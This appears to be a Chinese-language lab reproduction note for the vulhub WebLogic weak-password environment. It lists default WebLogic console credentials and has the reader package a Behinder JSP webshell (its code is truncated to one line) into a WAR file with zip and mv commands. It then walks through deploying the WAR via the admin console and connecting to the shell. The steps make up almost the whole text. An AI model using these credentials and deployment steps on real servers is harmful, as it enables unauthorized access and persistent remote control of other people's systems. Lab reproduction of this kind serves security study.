复现过程
1.登陆
http://IP:端口/console

要在后台getshell,必须得先登录,如何获取到登陆凭证,弱口令、爆破,或者其他社工方式。
weblogic常见口令
| system | password |
|---|---|
| weblogic | weblogic |
| guest | guest |
| portaladmin | portaladmin |
| admin | security |
| joe | password |
| mary | password |
| system | security |
| wlcsystem | wlcsystem |
| wlcsystem | sipisystem |
2.制作war包
新建shell.jsp文件,内容为冰蝎webshell
1 | <% import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends Class |
压缩webshell
zip shell.zip shell.jsp
改变后缀
mv shell.zip shell.war
3.部署

3.上载文件

4.选择我们做好的shell.war

5.下一步

6.下一步,安装为应用程序

7.下一步

8.点击完成

9.点击保存,显示设置成功

10.当再次点击菜单栏的[部署]时,已经可以看到我们部署的应用程序

11.使用冰蝎连接
http://IP:端口/shell/shell.jsp

参考链接
http://github.com/vulhub/vulhub/tree/master/weblogic/weak_password/